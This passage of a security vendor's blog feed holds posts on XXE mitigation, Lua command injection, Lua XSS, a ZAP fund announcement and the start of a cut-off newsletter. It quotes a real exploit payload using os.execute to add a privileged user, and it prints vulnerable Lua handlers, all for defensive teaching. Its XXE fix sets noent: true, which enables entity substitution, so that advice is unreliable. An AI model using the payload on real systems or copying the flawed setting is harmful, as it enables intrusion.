&amp;lt;/xml&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Yikes! &lt;/p&gt;&lt;p&gt;These entities can access local or remote content within your server, which is terrible if you keep sensitive files on it, potentially providing a path to give control of your website to the attacker. &lt;/p&gt;&lt;p&gt;Similarly, other XML External Entities attacks can access local resources that may not stop at returning data. So again, this is an avenue to impact application availability and lead to denial of service. &lt;/p&gt;&lt;h2&gt;Mitigating XML External Entities Vulnerabilities&lt;/h2&gt;&lt;p&gt;Mitigating XML External Entities vulnerabilities is, thankfully, relatively straightforward. As long as you&amp;#39;re not intentionally trying to open a vulnerability window and consider that you need the functionality user-provided XML files, you don&amp;#39;t have to worry too much. &lt;/p&gt;&lt;p&gt;As already mentioned, if an application has an endpoint that parses XML files, an attacker could send a specially crafted payload to the server and obtain sensitive files. The files the attacker can access depend heavily on how you set up your system and how you implement user permissions. So, to prevent this, first, don&amp;#39;t use libraries that support entity replacement like LibXML. &lt;/p&gt;&lt;p&gt;Sadly, NodeJS does not have a built-in XML parsing engine. You might already be using this library in your project. But don&amp;#39;t fret—entity replacement is disabled by default. Nevertheless, we recommend that you explicitly disable this feature. You can do this by simply changing all initializations of the library like so:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const lib = libxmljs.parseXml(xml, {noent: true});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It&amp;#39;s also crucial to keep in mind that you may still be vulnerable to DDoS attacks if you decide to go this route. &lt;/p&gt;&lt;p&gt;Now, suppose your application actually makes use of external entities for some critical functionality. In that case, one approach you can take to minimize the potential for exploits is to safelist known external entities. You can do this simply by checking the XML file document before parsing it with your library for any strings containing any entity that&amp;#39;s not on the list. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Final Approach&lt;/h2&gt;&lt;p&gt;Finally—and I want to make sure to emphasize this—do not parse XML if it&amp;#39;s not an application requirement. I know it might be convenient and allow the platform to provide convenient features for the users. Even so, there are many ways to offer similar functionalities without using these libraries. &lt;/p&gt;&lt;p&gt;In the end, the best mitigation strategy is to not be open to vulnerabilities in any way. It&amp;#39;s vital to keep in mind that providing robust and secure platforms to your users is becoming increasingly complex. Such work requires a considerable investment of time and expertise that your organization might not be able to afford.  &lt;/p&gt;&lt;p&gt;If you are in charge of a team of brilliant and productive members focused on delivering speedy and innovative solutions, we recommend our security test suite StackHawk. Our product ensures that you get the best insight and tools to provide reliable decision-making information so that you can go back to focusing on the work you do best.&lt;/p&gt;&lt;p&gt;You can check it out and create a free account &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Protecting your platforms against the most sophisticated exploits on the web requires an extensive understanding of the technology and a solid grasp of your platform&amp;#39;s infrastructure. Thankfully, most of the tools and libraries used to build infrastructure are pretty robust and secure. Regardless, the potential of an engineer unintentionally introducing a vulnerability and compromising the work of their team is always real. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lua Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/lua-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As the Internet has grown, so has the number of savvy users. They want the ability to go beyond point-and-click and customize their software experience. Many of these advanced users want to write code, but they want programming to be easy, too. So, languages like &lt;a href=&quot;http://www.lua.org&quot;&gt;&lt;u&gt;Lua&lt;/u&gt;&lt;/a&gt; have sprouted up to fill the niche. Lua is both easy to use and embed in an application. So, it&amp;#39;s shown up in everything from desktop applications and games to command-line utilities and consumer devices. &lt;/p&gt;&lt;p&gt;But there&amp;#39;s a problem. When you embed a programming language, however trivial or simple, you add a new attack vector. It gives your users the ability to make your code do things you might not expect. Even with careful design and planning, scripting languages can become powerful weapons. For example, Lua has access to the system interface baked in. So, we&amp;#39;ve seen more than a few examples of Lua command injection attacks. &lt;/p&gt;&lt;p&gt;This post will cover the Lua language, command injection, and an example of Lua command injection in the wild. We&amp;#39;ll wrap up with how you can protect yourself from this type of attack. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What Is Lua?&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Lua is a &lt;b&gt;high-level programming language&lt;/b&gt;, and it&amp;#39;s &lt;b&gt;easy to embed&lt;/b&gt; in applications. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Lua&amp;#39;s designers wrote the interpreter in ANSI C, so it&amp;#39;s cross-platform. It also compiles Lua source into bytecode, making it reasonably fast. The API for embedding the language into an app is straightforward, making it an excellent option for adding scripting capabilities to your code. It also has a tiny footprint, making it especially attractive for developers. &lt;/p&gt;&lt;p&gt;Lua has about 20 keywords and is remarkably user-friendly. It doesn&amp;#39;t take long for a novice programmer to master Lua&amp;#39;s simple grammar and syntax. One of its most popular client applications is &lt;a href=&quot;https://developer.roblox.com/en-us/api-reference/lua-docs&quot;&gt;&lt;u&gt;Roblox&lt;/u&gt;&lt;/a&gt;, an online game for children. &lt;/p&gt;&lt;p&gt;Too many &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_applications_using_Lua&quot;&gt;&lt;u&gt;applications use Lua&lt;/u&gt;&lt;/a&gt; to list here. Its designers intended it to help customize applications, and they clearly succeeded. But there are a few examples worth pointing out. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;PowerDNS supports &lt;a href=&quot;https://doc.powerdns.com/authoritative/lua-records/index.html&quot;&gt;&lt;u&gt;Lua scripts for operation on DNS servers&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You can write &lt;a href=&quot;https://pandoc.org/lua-filters.html&quot;&gt;&lt;u&gt;Pandoc filters in Lua&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;RPM, Redhat&amp;#39;s packaging system, &lt;a href=&quot;https://rpm-software-management.github.io/rpm/manual/lua.html&quot;&gt;&lt;u&gt;has an embedded Lua interpreter.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Lua is &lt;a href=&quot;https://wiki.wireshark.org/Lua&quot;&gt;&lt;u&gt;Wireshark&amp;#39;s language for filters and extensions.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Several Minecraft mods, including &lt;a href=&quot;https://tweaked.cc/&quot;&gt;&lt;u&gt;Tweaked.cc&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://ocdoc.cil.li&quot;&gt;&lt;u&gt;OpenComputers&lt;/u&gt;&lt;/a&gt;, provide ways to modify the game with scripts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Adobe&amp;#39;s &lt;a href=&quot;https://www.adobe.com/products/photoshop-lightroom-classic.html&quot;&gt;&lt;u&gt;Lightroom Classic&lt;/u&gt;&lt;/a&gt; has a Lua interface for plugins.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://openresty.org/en/&quot;&gt;&lt;u&gt;OpenResty&lt;/u&gt;&lt;/a&gt; is a platform for extending Nginx with Lua.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What Is Command Injection?&lt;/h2&gt;&lt;p&gt;Command injection sends unexpected input to an application. The input executes arbitrary commands on the targeted systems. For example, if an application designed to evaluate arithmetic expressions doesn&amp;#39;t verify its input, it could be coerced into executing a shell command. This kind of attack can result in a severe security breach. There&amp;#39;s a detailed description of command injection in &lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;&lt;u&gt;CWE-94&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;A command injection attack relies on an application &lt;a href=&quot;https://en.wikipedia.org/wiki/Redaction&quot;&gt;&lt;u&gt;using input without verification or filtering.&lt;/u&gt;&lt;/a&gt; It starts with an app that accepts input with code syntax. This opens the possibility of an attacker giving the targeted app with code the designer didn&amp;#39;t anticipate. &lt;/p&gt;&lt;p&gt;The best way to demonstrate command injection is with an example. &lt;/p&gt;&lt;h2&gt;Lua Command Injection Example&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start by looking at a real-world example of a command injection vulnerability. NIST published this one&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-13598&quot;&gt;&lt;u&gt; in 2019&lt;/u&gt;&lt;/a&gt;. It involved the &lt;a href=&quot;https://www.smarthome.com/products/veraedge-z-wave-smart-home-controller&quot;&gt;&lt;u&gt;VeraEdge Home Controller&lt;/u&gt;&lt;/a&gt;, a consumer smart home hub. &lt;/p&gt;&lt;p&gt;This hub had (it&amp;#39;s no longer available) a Lua interface for extending the device&amp;#39;s capabilities. For example, the script host made it possible to &lt;a href=&quot;https://github.com/brijs/vera&quot;&gt;&lt;u&gt;write drivers for sensors and switches&lt;/u&gt;&lt;/a&gt;. Users could edit and submit scripts via a web interface. But, the API endpoint that accepted scripts had no authorization or authentication requirements. It didn&amp;#39;t whitelist source addresses for submitting scripts, either. Any client could submit scripts directly to the device without logging into the interface. &lt;/p&gt;&lt;p&gt;While it was possible to submit a script without authentication, there was a mechanism to verify that scripts were safe. Unfortunately, the vendor didn&amp;#39;t enable it. &lt;a href=&quot;https://vulners.com/nessus/MICASAVERDE_VERALITE_RUNLUA.NASL&quot;&gt;&lt;u&gt;This article&lt;/u&gt;&lt;/a&gt; illustrates an exploit that added a new operating system user with a cURL command. The new account made it possible for an attacker to shell directly into the hub. &lt;/p&gt;&lt;h3&gt;Command Injection Via Lua&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s look at the example exploit. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the Lua code passed to the controller: &lt;/p&gt;&lt;p&gt;&lt;code&gt;os.execute(&amp;quot;adduser -h /root -s /bin/ash testuser&amp;quot;);os.execute(&amp;quot;echo -e \&amp;quot;test\ntest\&amp;quot; | passwd testuser&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command adds a new operating system account named &lt;b&gt;testuser &lt;/b&gt;and then sets a password. &lt;/p&gt;&lt;p&gt;Lua&amp;#39;s operating system library (&lt;b&gt;os)&lt;/b&gt; exposes an interface to the underlying operating system. The &lt;b&gt;os.execute()&lt;/b&gt; call runs a system command. This exploit shows that the controller was running Linux, and the Lua interface allowed scripts to run arbitrary commands with root access. &lt;/p&gt;&lt;h2&gt;Preventing Lua Command Injection&lt;/h2&gt;&lt;p&gt;There are several ways that the designers of the smart home hub could have avoided this attack. &lt;/p&gt;&lt;h3&gt;Sanitize Inputs&lt;/h3&gt;&lt;p&gt;The smart home hub accepted user input and executed it without verifying its contents, probably with Lua&amp;#39;s &lt;a href=&quot;https://www.lua.org/pil/8.html&quot;&gt;&lt;u&gt;loadstring()&lt;/u&gt;&lt;/a&gt; API call. That made it possible to inject a system API call that started a shell process and executed arbitrary code. &lt;/p&gt;&lt;p&gt;Accepting unverified input is especially dangerous with Lua because it has access to the underlying system interface. It&amp;#39;s easy to execute a shell program with &lt;b&gt;os.execute() &lt;/b&gt;or &lt;b&gt;io.popen()&lt;/b&gt;, but it&amp;#39;s just as easy to open sockets, create files, and perform other potentially nefarious tasks. &lt;/p&gt;&lt;p&gt;Different Lua applications accept input from a wide variety of sources, too. Many developers use Lua to customize user interfaces, write application extensions, and extend video games. In these cases, it&amp;#39;s not difficult to imagine a user community inadvertently sharing a malicious piece of code via user forums or GitHub. All these interfaces need to verify that Lua scripts don&amp;#39;t contain harmful code. &lt;/p&gt;&lt;h3&gt;Use a Sandbox&lt;/h3&gt;&lt;p&gt;While sanitizing inputs is always a good idea, a better idea is to protect your application and the system it&amp;#39;s running on from malicious code. Lua doesn&amp;#39;t run in a sandbox by default, but several options are available to make it safer. &lt;/p&gt;&lt;p&gt;One is to &lt;a href=&quot;https://github.com/kikito/lua-sandbox&quot;&gt;&lt;u&gt;use a runtime sandbox&lt;/u&gt;&lt;/a&gt;. This method is similar to sanitizing input since it has the effect of whitelisting access to a subset of the Lua API. It&amp;#39;s probably the easiest way to wrap scripts in your code in a protective shell. &lt;/p&gt;&lt;p&gt;The other approach is to modify the Lua source and remove the unsafe portions. Doing this before adding Lua to your code is more work, but it&amp;#39;s also the safest approach. You reduce the attack surface when you comment out the unsafe calls. &lt;/p&gt;&lt;h3&gt;Enforce Proper Access Controls&lt;/h3&gt;&lt;p&gt;Even without sanitizing input or running in a sandbox, there was at least one more way this application could have avoided the command injection attack; by not allowing Lua scripts to have privileged access. The attack relied on running the &lt;b&gt;adduser&lt;/b&gt; command and then running &lt;b&gt;passwd&lt;/b&gt; to modify another user&amp;#39;s password entry. These activities require &lt;b&gt;root&lt;/b&gt; access to the underlying operating system, so the webserver on the smart home hub was likely running as the &lt;b&gt;root&lt;/b&gt; user. This level of access wasn&amp;#39;t necessary for any of the tasks it was responsible for. Most modern Linux distributions create unprivileged users to run services like web servers and databases. &lt;/p&gt;&lt;h2&gt;Avoid Command Injection Attacks&lt;/h2&gt;&lt;p&gt;In this post, we examined Lua command Injection attacks. We started with an overview of the popular Lua scripting language and what command injection is. Then, we reviewed a real-world Lua command injection attack. Finally, we looked at three different ways the attack and ones similar to it can be avoided. &lt;/p&gt;&lt;p&gt;Now that you have a better understanding of command injection attacks and how to prevent them in Lua look at your code. Take a look at &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; and see how it can help you protect your application. There&amp;#39;s a free plan with unlimited scans that you can put t work today! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lua XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/lua-xss-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.lua.org&quot;&gt;&lt;u&gt;Lua&lt;/u&gt;&lt;/a&gt; is a popular scripting language that&amp;#39;s powerful in the hands of a seasoned developer. But it&amp;#39;s very easy for a novice programmer to learn Lua while wielding a great deal of power. Unfortunately, that combination can lead to severe problems like vulnerabilities to cross-site scripting attacks (XSS) in web applications. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at how Lua XSS attacks work and how you can detect and prevent them. &lt;/p&gt;&lt;h2&gt;What Is Cross-Site Scripting (XSS)?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;Cross-site scripting&lt;/u&gt;&lt;/a&gt; attacks trick web applications into sending harmful scripts to their web clients. Attackers use XSS to hijack user sessions, execute malicious code on a web server or in a user&amp;#39;s web browser, launch phishing attacks, spread malware, and more. &lt;/p&gt;&lt;p&gt;The attacker does this by feeding the malicious script to the application in the form of input to a form or API request. The application expects information about a user but instead receives executable instructions or a deliberately malformed URL. Attackers usually write their XSS exploits in Javascript snippets, but a skilled attacker can compromise a susceptible app in a URL request. &lt;/p&gt;&lt;h2&gt;What Does Lua Have to Do With XSS?&lt;/h2&gt;&lt;p&gt;Lua is a scripting language that&amp;#39;s easy to learn and embed in a host application. At the same time, it has access to the underlying operating system&amp;#39;s system interface. It&amp;#39;s garbage-collected, has powerful constructs based on associative arrays, and runs with bytecodes to make it faster. &lt;/p&gt;&lt;p&gt;You probably don&amp;#39;t think of Lua as code for front-end applications, though. Many people associate it with games like &lt;a href=&quot;about:blank&quot;&gt;&lt;u&gt;Minecraft&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://developer.roblox.com/en-us/api-reference/lua-docs&quot;&gt;&lt;u&gt;Roblox&lt;/u&gt;&lt;/a&gt; instead. You&amp;#39;ll also find Lua used for server-side applications like &lt;a href=&quot;https://redis.io/topics/lua-api&quot;&gt;&lt;u&gt;Redis&lt;/u&gt;&lt;/a&gt; or extensible utilities like &lt;a href=&quot;https://pandoc.org/lua-filters.html&quot;&gt;&lt;u&gt;Pandoc&lt;/u&gt;&lt;/a&gt;. But in web apps? &lt;/p&gt;&lt;p&gt;Developers use Lua in many different types of applications, including the web. Both Apache and Nginx, the two most widely used webservers, offer &lt;a href=&quot;https://httpd.apache.org/docs/trunk/mod/mod_lua.html&quot;&gt;&lt;u&gt;mod_lua&lt;/u&gt;&lt;/a&gt; and the &lt;a href=&quot;https://github.com/openresty/lua-nginx-module#readme&quot;&gt;&lt;u&gt;lua-nginx-module&lt;/u&gt;&lt;/a&gt;, respectively. Also, even though there have been no updates to &lt;u&gt;CGILua&lt;/u&gt; since 2015, it&amp;#39;ll still install and run on modern Linux distributions. &lt;/p&gt;&lt;p&gt;Suppose you want to go beyond CGI and the webservers&amp;#39; embedded capabilities? There&amp;#39;s &lt;a href=&quot;https://openresty.org/en/&quot;&gt;&lt;u&gt;OpenResty&lt;/u&gt;&lt;/a&gt;, a web platform for using Lua with Nginx. The Kepler project offers &lt;a href=&quot;http://keplerproject.github.io/orbit/&quot;&gt;&lt;u&gt;Orbit, &lt;/u&gt;&lt;/a&gt;an MVC toolkit, and &lt;a href=&quot;http://keplerproject.github.io/wsapi/&quot;&gt;&lt;u&gt;WSAPI&lt;/u&gt;&lt;/a&gt;, an abstraction layer for Lua. &lt;/p&gt;&lt;p&gt;So, there are plenty of opportunities for an XSS attack to rear its ugly head with Lua. Let&amp;#39;s look at how. &lt;/p&gt;&lt;h2&gt;Lua XSS Attacks&lt;/h2&gt;&lt;h3&gt;Reflected XSS Attacks&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;A reflected attack is the &lt;b&gt;most straightforward &lt;/b&gt;and&lt;b&gt; common form&lt;/b&gt; of XSS attack. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;They occur when a malicious script is &amp;quot;reflected&amp;quot; off a web application and into a user&amp;#39;s web browser. The user will click on the link, expecting to post a reply, see an image or video, or go to a friendly website. &lt;/p&gt;&lt;p&gt;But their browser executes a damaging script instead. Frequently the script sends the user&amp;#39;s personal data to the attacker, hence the term &amp;quot;cross-site scripting.&amp;quot; The compromised site directed you to another one. This attack is easy to launch, which is why it&amp;#39;s so popular and effective. &lt;/p&gt;&lt;p&gt;Another name for reflected XSS attacks is non-persistent attacks because they don&amp;#39;t compromise the underlying application. Malefactors embed them in user-defined content like forum posts and comments. So, they&amp;#39;re usually visible to a small audience, and attackers have to cast a wide net, hoping that a small number of victims will click on the malicious links. &lt;/p&gt;&lt;h3&gt;Lua and Reflected Attacks&lt;/h3&gt;&lt;p&gt;Lua&amp;#39;s simple syntax makes it easy for novice web programmers to open their app up to a reflected XSS attack.&lt;/p&gt;&lt;p&gt;Apache&amp;#39;s &lt;a href=&quot;https://httpd.apache.org/docs/trunk/mod/mod_lua.html&quot;&gt;&lt;u&gt;mod_lua&lt;/u&gt;&lt;/a&gt; has two methods for echoing arguments passed to a handler back to the requestor. &lt;/p&gt;&lt;p&gt;Mod_lua apps implement a &lt;b&gt;handler(r)&lt;/b&gt; function, where &lt;b&gt;r&lt;/b&gt; is a request object Apache passes to the function. &lt;/p&gt;&lt;p&gt;&lt;code&gt;function handle(r) 
  local danger = r:parseargs().user_name or &amp;quot;&amp;quot; 
  r:puts(danger) 
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The handler function extracts arguments passed to the web call with &lt;b&gt;r:parseargs()&lt;/b&gt;. It writes content back to the requestor as an HTML response using &lt;b&gt;r.puts()&lt;/b&gt; for strings and &lt;b&gt;r.write()&lt;/b&gt; for unbuffered bytes. In neither case is the string sanitized or checked. If an attacker passes in Javascript or HTML content, the handler returns it verbatim. &lt;/p&gt;&lt;p&gt;Nginx is susceptible to a similar attack. Its Lua code can be loaded dynamically or included in an OpenResty installation. But, it doesn&amp;#39;t sanitize inputs. &lt;/p&gt;&lt;p&gt;&lt;code&gt;local danger = ngx.req.get_uri_args().user_name or &amp;quot;&amp;quot; 
ngx.header.content_type = &amp;quot;text/html&amp;quot; 
ngx.say(danger)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Say()&lt;/b&gt; eches the string back to the requestor as an HTML response. &lt;/p&gt;&lt;p&gt;CGILua looks similar, too. &lt;/p&gt;&lt;p&gt;&lt;code&gt;local danger = cgilua.QUERY.user_name or &amp;quot;&amp;quot; 
cgilua.htmlheader()
cgilua.put(danger)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In all of these cases, the input should be verified before use. &lt;/p&gt;&lt;h3&gt;Stored XSS Attack&lt;/h3&gt;&lt;p&gt;In a stored attack, the hacker embeds malicious code in a comment in a user forum or on social media. These attacks are persistent since the web applications store them in a database or other permanent storage. They&amp;#39;re more dangerous since many users may view the destructive content before the application owner discovers the attack. &lt;/p&gt;&lt;p&gt;Rather than (or in addition to) echoing the malicious request back to the requestor, the application stores it. Subsequent visitors to the content request the same page, see the malicious data and click on it. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a contrived code snippet that stores a comment in MySQL and then echoes back the complete set of comments for a given post id. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The user name, comment body, or both may contain malicious code in this example. It&amp;#39;s echoed back to the user, but it&amp;#39;s stored in MySQL, too! So any other users that view comments will see the dangerous script. &lt;/p&gt;&lt;h2&gt;Preventing LUA XSS&lt;/h2&gt;&lt;p&gt;Preventing these attacks in Lua web applications is relatively simple, and there are already tools to help you. &lt;/p&gt;&lt;h3&gt;Don&amp;#39;t Trust User Input&lt;/h3&gt;&lt;p&gt;In all of the above cases, the Lua scripts use request data without verifying its contents. This is the first and biggest mistake. At a minimum, you must &amp;quot;escape&amp;quot; any data you receive before storing or passing it back to a web user. Lua doesn&amp;#39;t have a built-in method for sanitizing web input, so you have to roll your own or rely on the user community. &lt;/p&gt;&lt;p&gt;Web_sanitize is an &lt;a href=&quot;https://github.com/leafo/web_sanitize&quot;&gt;&lt;u&gt;HTML filter for Lua&lt;/u&gt;&lt;/a&gt;. You can download it from GitHub or install it with &lt;a href=&quot;https://luarocks.org&quot;&gt;&lt;u&gt;luarocks&lt;/u&gt;&lt;/a&gt;. The code is too long to embed here, but if you look at it (and you should before adding it to your app), you can see how it sanitizes and escapes user input so a malicious script will no longer execute in a client browser. You can escape HTML and CSS or extract text from a request, stripping away any embedded code. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a safe version of the Apache Lua handler. &lt;/p&gt;&lt;p&gt;&lt;code&gt;function handle(r)
   local web_sanitize = require &amp;quot;web_sanitize&amp;quot;
   local safe = web_santize.extract-text(r:parseargs().user_name) or &amp;quot;&amp;quot; 
   r:puts(safe) 
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Validate User Input&lt;/h3&gt;&lt;p&gt;Another approach is to validate input before using it, but this isn&amp;#39;t an alternative to sanitizing input. It&amp;#39;s an extra step. After you&amp;#39;ve stripped out any potential scripting code, you can ensure the input makes sense in context. So, verifying a credit card&amp;#39;s checksum or a user&amp;#39;s address before storing them. It&amp;#39;s not necessarily protection against XSS, and it can be challenging to validate input without creating new problems, especially with regards to international names. Still, it&amp;#39;s a good idea when dealing with user-specified code and formatting data. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Guarding Against Lua XSS&lt;/h2&gt;&lt;p&gt;In this post, we looked at Lua XSS. We saw how developers use Lua for web applications and how the language doesn&amp;#39;t have built-in facilities for sanitizing user input before using or storing it. After looking at three examples of code that&amp;#39;s vulnerable to attack, we looked at a simple way to protect it. &lt;/p&gt;&lt;p&gt;StackHawk has &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;tools for detecting these kinds of vulnerabilities&lt;/u&gt;&lt;/a&gt;. By adding them to your CI/CD pipeline, you can discover them before they become problems. Sign up for a &lt;a href=&quot;https://www.stackhawk.com/pricing/&quot;&gt;&lt;u&gt;free trial&lt;/u&gt;&lt;/a&gt; today! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Announces $100,000 Fund Dedicated to Improving ZAP and the ZAP Community]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/the-zap-fund</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;The fund’s announcement came from StackHawk CEO and Co-Founder, Joni Klippert, as part of her keynote at &lt;a href=&quot;https://zapcon.io&quot;&gt;&lt;u&gt;ZAPCon 2022&lt;/u&gt;&lt;/a&gt; – a user conference that gathers thousands of ZAP enthusiasts and application security experts from across the globe. StackHawk has proudly built its platform on top of ZAP.  &lt;/p&gt;&lt;p&gt;“I am very excited to announce that StackHawk has created a $100,000 fund to support the ZAP community and ZAP contributions,” said Klippert, “As a company that benefits from the great work of ZAP, we believe it’s important to give back and facilitate the ability to grow a larger and more deeply engaged community around ZAP.” &lt;/p&gt;&lt;p&gt;The ZAP Fund will be used to improve ZAP and its community. A portion of the fund is dedicated to resolving open ZAP issues through a &lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-announces-hawkscan-test-engine/&quot;&gt;&lt;u&gt;bounty program&lt;/u&gt;&lt;/a&gt;. The ZAP Core Team has worked with StackHawk to identify issues eligible for bounty. Users can find details about those bounties on the ZAP Fund website, and collect the bounties by successfully merging fixes for tagged issues. &lt;/p&gt;&lt;p&gt;The ZAP Fund builds on StackHawk’s strong relationship with ZAP. ZAP’s creator, Simon Bennetts, joined the StackHawk team as a distinguished engineer in July of 2020. Since then, StackHawk has served as the presenting partner for ZAPCon while also making technical contributions back to the open source project to make tests more reliable and better suited for the needs of modern developers. &lt;/p&gt;&lt;p&gt;“An open source project is only as strong as the community that supports it,” said Bennetts. “I feel honored that StackHawk has established this fund to incentivize ZAP users to contribute back, while also providing new opportunities for our community to grow.”&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk is making application security testing part of software delivery. The StackHawk platform empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About ZAP&lt;/b&gt;&lt;/p&gt;&lt;p&gt;ZAP the world&amp;#39;s most widely used web app scanner. It is completely free, open source and actively maintained by a dedicated international team of volunteers. ZAP was created in 2010 to be the first security tool for developers and in 2014 became an OWASP flagship project. The scanner has been rated as a top free security tool and is used by millions of developers worldwide. Learn more at &lt;a href=&quot;https://zaproxy.org&quot;&gt;&lt;u&gt;zaproxy.org&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[February Newsletter: Log4Shell Detection Beta Program, ZAPCon, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-february-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;📣 The StackHawk Log4Shell Detection Beta is coming in early March!  &lt;/p&gt;&lt;p&gt;As you may know, Log4Shell is a vulnerability that affects the popular Java logging framework Log4j.  &lt;/p&gt;&lt;p&gt;What makes StackHawk’s Log4Shell detection different? Tests are simple to configure with a YAML file and run independently of your normal StackHawk scans so they can execute quickly. Most importantly, instead of just telling you that you have an out-of-date library, we can detect whether your application actually has a discoverable and exploitable Log4Shell vulnerability. &lt;/p&gt;&lt;p&gt;For more information and to 